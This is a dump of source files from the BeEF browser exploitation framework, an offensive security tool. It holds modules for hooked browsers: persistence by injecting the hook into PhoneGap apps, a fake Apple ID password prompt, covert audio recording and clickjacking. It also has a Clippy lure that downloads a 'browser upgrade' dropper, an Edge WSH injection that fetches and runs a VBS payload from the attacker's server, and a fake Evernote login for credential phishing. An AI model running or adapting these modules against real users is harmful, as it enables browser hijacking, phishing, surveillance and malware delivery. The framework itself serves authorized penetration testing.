modules/persistence/iframe_above/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Iframe_above < BeEF::Core::Command # This method is being called when a hooked browser sends some # data back to the framework. # def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/persistence/invisible_htmlfile_activex/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook; // create HMTL document beef.debug("[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object"); doc = new ActiveXObject("HtmlFile"); doc.open(); doc.write('") write_file(new_text); } function read_index(app_name) { function fail () { beef.debug('read_index fail') } function readFile(file) { var reader = new FileReader(); reader.onloadend = function(evt) { //beef.debug("Read as text"); beef.debug(evt.target.result); replace_text(evt.target.result); }; reader.readAsText(file); } function gotFileEntry(fileEntry) { fileEntry.file(readFile, fail); } function gotFS(fileSystem) { fileSystem.root.getFile("../"+app_name+"/www/index.html", null, gotFileEntry, fail); } window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); } function locate() { function result(entries) { beef.debug('result'); var i; for (i=0; i.app var re = new RegExp(/^[a-zA-Z0-9]*\.app/) var match = re.exec(entries[i].name) if (match) { beef.debug('found ' + entries[i].name); // look for ../.app/www/index.html read_index(entries[i].name); // FIXME find a less hacky way // just wanted to make this global so I didnt have to call it again to write the file window.tmpfilename = entries[i].name; } } } function fail() { beef.debug('fail'); } function win(entries) { beef.debug('win'); result(entries); } // use directoryentry to create directory reader function gotDirEntry(dirEntry) { var directoryReader = dirEntry.createReader(); directoryReader.readEntries(win,fail); } // use getDirectoy to create reference to directoryentry function gotFS(fileSystem) { // on iphone current dir defaults to .app/documents // so we wanna look in our parent directory for .app fileSystem.root.getDirectory('../', null, gotDirEntry, fail); } window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail); } //result = fail; //beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result); locate(); result = 'success'; beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result); }); ================================================ FILE: modules/phonegap/phonegap_persistence/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap persistence # beef: module: phonegap_persistence: enable: true category: "Phonegap" name: "Persistence (PhoneGap)" description: "Insert the BeEF hook into PhoneGap's index.html (iPhone only). This module requires the PhoneGap API." authors: ["mh"] target: working: ["All"] ================================================ FILE: modules/phonegap/phonegap_persistence/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap persistenece # class Phonegap_persistence < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port hook_file = @configuration.hook_file_path [{ 'name' => 'hook_url', 'description' => 'The URL of your BeEF hook', 'ui_label' => 'Hook URL', 'value' => "#{proto}://#{beef_host}:#{beef_port}#{hook_file}", 'width' => '300px' }] end def post_execute content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/phonegap/phonegap_plugin_detection/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // phonegap_plugin_detection // beef.execute(function() { var result = ''; // Approximate list of plugins, intended to work with Cordova 2.x var plugins = new Array( "cordova/plugin/device", "cordova/plugin/logger", "cordova/plugin/compass", "cordova/plugin/accelerometer", "cordova/plugin/Camera", "cordova/plugin/network", "cordova/plugin/contacts", "cordova/plugin/echo", "cordova/plugin/File", "cordova/plugin/FileTransfer", "cordova/plugin/geolocation", "cordova/plugin/notification", "cordova/plugin/Media", "cordova/plugin/capture", "cordova/plugin/splashscreen", "cordova/plugin/battery", "cordova/plugin/globalization", "cordova/plugin/InAppBrowser", "cordova/plugin/keychain" ); for (var i=0; i", <%= @command_id %>, 'result='+result ); }); ================================================ FILE: modules/phonegap/phonegap_plugin_detection/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap_plugin_detection # beef: module: phonegap_plugin_detection: enable: true category: "Phonegap" name: "List Plugins" description: "Attempts to guess installed plugins. This module requires the PhoneGap API." authors: ["staregate"] target: working: ["All"] ================================================ FILE: modules/phonegap/phonegap_plugin_detection/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # // phonegap_plugin_detection class Phonegap_plugin_detection < BeEF::Core::Command def post_execute content = {} content['Result'] = @datastore['result'] save content end end ================================================ FILE: modules/phonegap/phonegap_prompt_user/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // Phonegap_prompt_user // beef.execute(function() { var title = "<%== @title %>"; var question = "<%== @question %>"; var ans_yes = "<%== @ans_yes %>"; var ans_no = "<%== @ans_no %>"; var result = ''; var def_text = "<%== @text %>"; function onPrompt(results) { result = "Selected button number " + results.buttonIndex + " result: " + results.input1; beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); } navigator.notification.prompt( question, onPrompt, title, [ans_yes,ans_no], def_text ); }); ================================================ FILE: modules/phonegap/phonegap_prompt_user/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Phonegap_prompt_user # beef: module: phonegap_prompt_user: enable: true category: "Phonegap" name: "Prompt User" description: "Ask device user a question. This module requires the PhoneGap API." authors: ["staregate"] target: working: ["All"] ================================================ FILE: modules/phonegap/phonegap_prompt_user/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Phonegap_prompt_user # class Phonegap_prompt_user < BeEF::Core::Command def self.options [{ 'name' => 'title', 'description' => 'Prompt title', 'ui_label' => 'Title', 'value' => 'Apple ID', 'width' => '300px' }, { 'name' => 'question', 'description' => 'Prompt question', 'ui_label' => 'Question', 'value' => 'Please enter your Apple ID password', 'width' => '300px' }, { 'name' => 'ans_yes', 'description' => 'Prompt positive answer button label', 'ui_label' => 'Yes', 'value' => 'Submit', 'width' => '100px' }, { 'name' => 'ans_no', 'description' => 'Prompt negative answer button label', 'ui_label' => 'No', 'value' => 'Cancel', 'width' => '100px' }, { 'name' => 'text', 'description' => 'Default text to display', 'ui_label' => 'Default text', 'value' => 'Password', 'width' => '100px' }] end def callback content = {} content['Result'] = @datastore['result'] save content end end ================================================ FILE: modules/phonegap/phonegap_start_record_audio/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // exploit phonegap // beef.execute(function() { // TODO detect iphone/android and set this accordingly var file_uri = "<%== @file_name %>"; m = new Media(file_uri); m.startRecord(); // weirdly setTimeout and stopRecord don't seem to work together //milliseconds = "<%== @duration %>" * 1000; //setTimeout("m.stopRecord()", milliseconds); // so here is an ugly work around //start = new Date(); //stop = start.getTime() + 5000; //do { // current = new Date(); // current = current.getTime(); //} while(current < stop) //m.stopRecord(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "started recording"); }); ================================================ FILE: modules/phonegap/phonegap_start_record_audio/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap # beef: module: phonegap_start_record_audio: enable: true category: "Phonegap" name: "Start Recording Audio" description: "Start recording audio. This module requires the PhoneGap API." authors: ["mh"] target: working: ["All"] ================================================ FILE: modules/phonegap/phonegap_start_record_audio/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap # class Phonegap_start_record_audio < BeEF::Core::Command def self.options [ { 'name' => 'file_name', 'description' => 'File name for audio recording', 'ui_label' => 'File Name', 'value' => 'myrecording.wav' } ] end def post_execute content = {} content['file_name'] = @datastore['file_name'] save content end end ================================================ FILE: modules/phonegap/phonegap_stop_record_audio/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // exploit phonegap // beef.execute(function() { m.stopRecord(); // weirdly setTimeout and stopRecord don't seem to work together //milliseconds = "<%== @duration %>" * 1000; //setTimeout("m.stopRecord()", milliseconds); // so here is an ugly work around //start = new Date(); //stop = start.getTime() + 5000; //do { // current = new Date(); // current = current.getTime(); //} while(current < stop) //m.stopRecord(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "finished recording"); }); ================================================ FILE: modules/phonegap/phonegap_stop_record_audio/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap # beef: module: phonegap_stop_record_audio: enable: true category: "Phonegap" name: "Stop Recording Audio" description: "Stop recording audio. This module requires the PhoneGap API." authors: ["mh"] target: working: ["All"] ================================================ FILE: modules/phonegap/phonegap_stop_record_audio/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # phonegap # class Phonegap_stop_record_audio < BeEF::Core::Command end ================================================ FILE: modules/social_engineering/clickjacking/command.js ================================================ /* * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.execute(function() { var elems = { outerFrame: "cjFrame", innerFrame: "innerFrame", btn: "persistentFocusBtn" } var clicked = 0; var src = "<%= @iFrameSrc %>"; var secZone = "<%= @iFrameSecurityZone %>"; var sandbox = "<%= @iFrameSandbox %>"; var visibility = "<%= @iFrameVisibility %>"; var clicks = [ {js:"<%= URI::Parser.new.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")}, {js:"<%= URI::Parser.new.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")}, {js:"void(0);", posTop:'-', posLeft:'-'} ] var iframeAttrs = {}; iframeAttrs.src = src; (secZone == "on") ? iframeAttrs.security = "restricted" : ""; (sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : ""; var iframeStyles = {}; iframeStyles.width = "<%= @iFrameWidth %>px"; iframeStyles.height = "<%= @iFrameHeight %>px"; iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0"; iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)"; var innerPos = {}; //initialize iframe innerPos.top = clicks[0].posTop + "px"; innerPos.left = clicks[0].posLeft + "px"; //returns a negative version of a number, or if NaN returns a dash function cleanPos(coordinate) { var iCoordinate = parseInt(coordinate); if (isNaN(iCoordinate)) return "-"; else if (iCoordinate > 0) return (-1 * iCoordinate) return iCoordinate } function init(params, styles, stylesInner, callback) { var container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles); var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner); var containerDiv = $j('
    ').css(container).prependTo('body'); var containerDiv = $j('').appendTo('body'); var innerIframe = $j('"; document.body.appendChild(div); _c.openBubble("<%== @thankyoumessage %>"); setTimeout(function () { _c.killClippy(); }, 5000); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted'); } Clippy.prototype.addHelp = function(_help, is_startphrase) { this.help[ _help.getKey() ] = _help; if (is_startphrase) this.firstlines.push( _help.getKey() ); return; } Clippy.prototype.sayOne = function(keys,alternative) { var found = false, count = 0; while(count < keys.length) { var choice = parseInt( Math.random() * keys.length ); if( this.canSay( keys[choice]) ) { this.say(keys[choice]); return; } count ++; } return; } Clippy.prototype.canSay = function(key) { return this.help[ key ].available(); } Clippy.prototype.say = function(key,alternative) { if (this.timer != false) { try { clearTimeout(this.timer); this.timer = false; } catch(e) {} } if(typeof(key) !== "string" && key.length) this.sayOne(key,alternative); this.openBubble( this.help[ key ].toElements() ); } Clippy.prototype.firstLine = function() { this.sayOne(this.firstlines); } Clippy.prototype.talkLater = function() { this.closeBubble(); var _c = this; this.timer = setTimeout( function() { _c.firstLine(); }, 2000); } Clippy.prototype.openBubble = function(_o) { if (typeof(_o)=="string") { var o = document.createElement("p"); o.innerHTML = _o; } else { var o = _o; } if (this.bubble) { this.bubble.close(); } this.bubble = new PopupDisplay(o,{file_dir:this.file_dir}); this.homebase.appendChild(this.bubble.getElement()); } Clippy.prototype.closeBubble = function() { if (this.bubble) { this.bubble.close(); } } /* APPLICATION LOGIC: */ // function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;} // function clippy_main() {var c = new Clippy("homebase","./").run();} /* GO! */ // clippy_boot(); __clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();}); }); ================================================ FILE: modules/social_engineering/clippy/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: clippy: enable: true category: "Social Engineering" name: "Clippy" description: "Brings up a clippy image and asks the user to do stuff. Users who accept are prompted to download an executable.

    You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt." authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/clippy/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Clippy < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-bottom.png', '/clippy/clippy-speech-bottom', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-mid.png', '/clippy/clippy-speech-mid', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-speech-top.png', '/clippy/clippy-speech-top', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/clippy/assets/clippy-main.png', '/clippy/clippy-main', 'png') end def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" [ { 'name' => 'clippydir', 'description' => 'Webdir containing clippy images', 'ui_label' => 'Clippy image directory', 'value' => "#{base_host}/clippy/" }, { 'name' => 'askusertext', 'description' => 'Text for speech bubble', 'ui_label' => 'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?' }, { 'name' => 'executeyes', 'description' => 'Executable to download', 'ui_label' => 'Executable', 'value' => "#{base_host}/dropper.exe" }, { 'name' => 'respawntime', 'description' => '', 'ui_label' => 'Time until Clippy shows his face again', 'value' => '5000' }, { 'name' => 'thankyoumessage', 'description' => 'Thankyou message after downloading', 'ui_label' => 'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!' } ] end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute save({ 'answer' => @datastore['answer'] }) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-main.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-top.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-mid.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/clippy/clippy-speech-bottom.png') end end ================================================ FILE: modules/social_engineering/edge_wscript_wsh_injection/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function(){ var timeout = 5; if (!beef.browser.isEdge()) { beef.debug("[Edge WScript WSH Injection] Browser is not supported."); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.are.status_error()); return; } try { var wsh_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); var beef_host = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port; wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html'); } catch (e) { beef.debug("[Edge WScript WSH Injection] Could not create iframe"); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error()); return; } // clean up cleanup = function() { document.body.removeChild(wsh_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); }); ================================================ FILE: modules/social_engineering/edge_wscript_wsh_injection/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: edge_wscript_wsh_injection: enable: true category: ["Social Engineering"] name: "Edge WScript WSH Injection" description: "Prompts the user to run \"Microsoft Windows Based Script Host\" (WScript.exe).

    Uses wshfile protocol handler technique to load pubprn.vbs and WSH injection in pubprn.vbs to execute arbitrary code.

    If the user allows execution, a VBS payload is downloaded from BeEF, and the specified commands are executed." authors: [ "@qab", # wshfile protocol handler + traversal technique, and exploit "@enigma0x3", # pubprn.vbs technique and exploit "bcoles" # BeEF ] target: user_notify: ["E"] not_working: ["ALL"] ================================================ FILE: modules/social_engineering/edge_wscript_wsh_injection/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Edge_wscript_wsh_injection < BeEF::Core::Command def pre_send payload = '' @datastore.each do |input| payload = input['value'] if input['name'] == 'payload' end rand_str = rand(32**10).to_s(32) script = <<~EOF #{' '} EOF BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/html' }, script, "/#{@command_id}/index.html", -1) end def self.options [ { 'name' => 'payload', 'ui_label' => 'Commands', 'value' => 'calc.exe' } ] end def post_execute save({ 'result' => @datastore['result'] }) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/#{@command_id}/index.html") end end ================================================ FILE: modules/social_engineering/fake_evernote_clipper/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Prepare the onmessage event handling var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; eventer(messageEvent,function(e) { if (e.data == "KILLFRAME") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Killing Frame'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'meta=KILLFRAME'); beef.dom.removeElement('EVIFRAME'); return; } else { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + e.data); } },false); if (beef.browser.isC()) { beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/ev/login.html','id':'EVIFRAME'}, {'width':'317px','height':'336px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px','overflow':'hidden'}); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { beef.debug('[Fake Evernote Clipper] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); } }); ================================================ FILE: modules/social_engineering/fake_evernote_clipper/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_evernote_clipper: enable: true category: "Social Engineering" name: "Fake Evernote Web Clipper Login" description: "Displays a fake Evernote Web Clipper login dialog." authors: ["xntrik"] target: user_notify: ['C'] not_working: ["ALL"] ================================================ FILE: modules/social_engineering/fake_evernote_clipper/login.css ================================================ body { font-size: 11px; font-style: normal; overflow: hidden; -webkit-font-smoothing: antialiased; -webkit-user-select: none; } * { background-repeat: no-repeat; color: inherit; font: inherit; text-shadow: inherit; -webkit-font-smoothing: inherit; } textarea { resize: none; } a { text-decoration: none; } .tab { cursor: pointer; display: inline-block; height: 26px; vertical-align: top; } .tab.pressed { background-image: url(../images/clip_result_arrow.png); background-size: 16px 8px; } .pinch { background-color: #2F373D; border-top: 1px solid #272D33; border-bottom: 1px solid #272D33; margin-top: -1px; } input[type=radio], input[type=checkbox] { display: none; } label { cursor: pointer; display: inline-block; vertical-align: top; } input[type=radio] + label:before { background-image: url(../images/radio.png); background-repeat: no-repeat; background-size: 16px 16px; content: ""; display: inline-block; height: 16px; width: 16px; } input[type=radio]:checked + label:before { background-image: url(../images/radio-dot.png), url(../images/radio.png); background-position: 5px, 0; background-size: 6px 7px, 16px 16px; } input[type=radio] + label { height: 16px; line-height: 16px; } input[type=checkbox] + label:before { background-color: #737F89; border: 1px solid #232A31; border-radius: 4px; content: ""; display: inline-block; height: 20px; width: 20px; } input[type=checkbox]:checked + label:before { background-image: url(../images/checkmark-big.png); background-position: 50% 5px; background-repeat: no-repeat; background-size: 14px 12px; } input[type=checkbox] + label { height: 22px; line-height: 22px; } select { background-color: white; background-image: url(../images/icon_down_padded.png); background-position: -webkit-calc(100% - 10px) 50%; background-size: 8px 5px; border: 1px solid #232A30; border-radius: 3px; color: #3A4045; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 11px; line-height: 24px; margin: 0; outline: none; padding: 0 28px 0 10px; text-shadow: none; -webkit-appearance: button; } @font-face { font-family: "CaeciliaBold"; src: url(../fonts/caecilialtstd-bold-webfont.woff) format('woff'); } @font-face { font-family: "CaeciliaRoman"; src: url(../fonts/caecilialtstd-roman-webfont.woff) format('woff'); } @font-face { font-family: "GothamBook"; src: url(../fonts/GothamSSm-Book.otf) format('opentype'); } @font-face { font-family: "GothamMedium"; src: url(GothamSSm-Medium.otf) format('opentype'); } @font-face { font-family: "GothamBold"; src: url(GothamSSm-Bold.otf) format('opentype'); } @media (-webkit-min-device-pixel-ratio: 1.5) { .tab.pressed { background-image: url(../images/clip_result_arrow@2x.png); } input[type=radio] + label:before { background-image: url(../images/radio@2x.png); } input[type=radio]:checked + label:before { background-image: url(../images/radio-dot@2x.png), url(../images/radio@2x.png); } input[type=checkbox]:checked + label:before { background-image: url(../images/checkmark-big@2x.png); } select { background-image: url(../images/icon_down_padded@2x.png); } } a { text-decoration: none; } body { border: 1px solid #21262C; border-radius: 5px; margin: 2px; } #main { background-color: #2F373D; border-radius: 4px; padding: 22px 28px; } #logo { background-image: url(clipboard.png), url(evernote_web_clipper.png); background-position: -10px -10px, 48px 1px; background-size: 58px 58px, 134px 36px; cursor: pointer; height: 58px; } #logo.china { background-image: url(clipboard.png), url(../../images/evernote_web_clipper_china.png); background-position: -10px -10px, 43px 1px; background-size: 58px 58px, 48px 47px; } #close { background-image: url(close_login.png); background-size: 8px 8px; cursor: pointer; height: 8px; outline: none; position: absolute; right: 6px; top: 6px; width: 8px; } .inputContainer { position: relative; } input { background-color: #EAF0F5; border: 1px solid #21262C; border-radius: 3px; color: #3A4045; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 12px; height: 36px; margin-bottom: 16px; max-width: 236px; outline: none; padding: 10px; text-shadow: none; width: 236px; } input::-webkit-input-placeholder { color: #8E98A1; } input+.errorHoverRegion { height: 16px; pointer-events: none; position: absolute; right: 11px; top: 10px; width: 16px; } input.error { background-image: url(../../images/auth_error.png); background-position: -webkit-calc(100% - 12px) 50%; background-size: 16px 16px; } input.error+.errorHoverRegion { pointer-events: all; } input.error+.errorHoverRegion:hover:before { background-color: #ED4C5B; border: 1px solid white; border-radius: 3px; bottom: 19px; box-shadow: 0 2px 6px 0 rgba(0, 0, 0, 0.3); content: attr(data-error); color: white; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 11px; line-height: 20px; padding: 0 5px; position: absolute; right: -5px; text-shadow: none; white-space: nowrap; } input.error+.errorHoverRegion:hover:after { background-image: url(../../images/auth_error_arrow.png); background-position: 0 0; background-size: 14px 7px; content: ""; height: 7px; position: absolute; right: 1px; top: -4px; width: 14px; } input.valid { background-image: url(../../images/checkmark_green.png); background-position: -webkit-calc(100% - 12px) 50%; background-size: 15px 13px; } .button { border-radius: 3px; color: white; cursor: pointer; height: 36px; line-height: 36px; margin-bottom: 18px; overflow: hidden; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5); } @media (-webkit-min-device-pixel-ratio: 1.5) { #logo { background-image: url(../../images/clipboard@2x.png), url(../../images/evernote_web_clipper@2x.png); } #logo.china { background-image: url(../../images/clipboard@2x.png), url(../../images/evernote_web_clipper_china@2x.png); } #close { background-image: url(../../images/close_login@2x.png); } input.error { background-image: url(../../images/auth_error@2x.png); } input.error+.errorHoverRegion:hover:after { background-image: url(../../images/auth_error_arrow@2x.png); } input.valid { background-image: url(../../images/checkmark_green@2x.png); } } #switcher { color: #C2CFD7; cursor: pointer; display: none; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 12px; height: 15px; line-height: 15px; margin-bottom: 14px; outline: none; position: relative; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5); } #switcher.visible { display: inline-block; } #switcher:after { background-image: url(../../images/forward.png); background-size: 16px 16px; content: ""; height: 16px; position: absolute; right: -21px; top: 1px; width: 16px; } #globalError { background-color: #262C32; background-image: url(error-clip.png); background-position: 28px 5px; background-size: 16px 16px; border-bottom: 1px solid #21262C; border-top: 1px solid #21262C; color: white; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 10px; margin: 0 0 15px -28px; overflow: hidden; padding: 8px 28px 8px 49px; width: -webkit-calc(100% - 21px); } #globalError:empty { display: none; } #globalError button { color: black; float: right; font-size: 12px; padding: 3px 6px; } input { max-width: 251px; width: 251px; } #username { margin-bottom: 18px; } #simsearch .checkbox, #simsearch .label { display: inline-block; vertical-align: top; } #simsearch .checkbox { background-color: #737F89; border: 1px solid #21262C; border-radius: 3px; cursor: pointer; height: 16px; outline: none; width: 16px; } #simsearch .checkbox.checked { background-image: url(../../images/checkmark.png); background-position: 2px 4px; background-size: 12px 10px; } #simsearch .label { color: #C2CFD7; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 12px; line-height: 16px; padding-bottom: 26px; padding-left: 3px; padding-top: 1px; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5); width: -webkit-calc(100% - 25px); } #simsearch .label .help { background-image: url(../../images/question-mark.png); background-size: 15px 15px; cursor: pointer; display: inline-block; height: 15px; margin-left: 5px; position: relative; vertical-align: middle; width: 15px; } #simsearch .label .help:hover:before { background-color: #FAFAFA; border: 1px solid #21262C; border-radius: 3px; bottom: 24px; box-shadow: 0 2px 6px 0 rgba(0, 0, 0, 0.3); color: #3A4045; content: attr(data-tooltip); font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 10px; left: -81px; line-height: 13px; padding: 5px 7px; position: absolute; text-shadow: none; width: 168px; } #simsearch .label .help:hover:after { background-image: 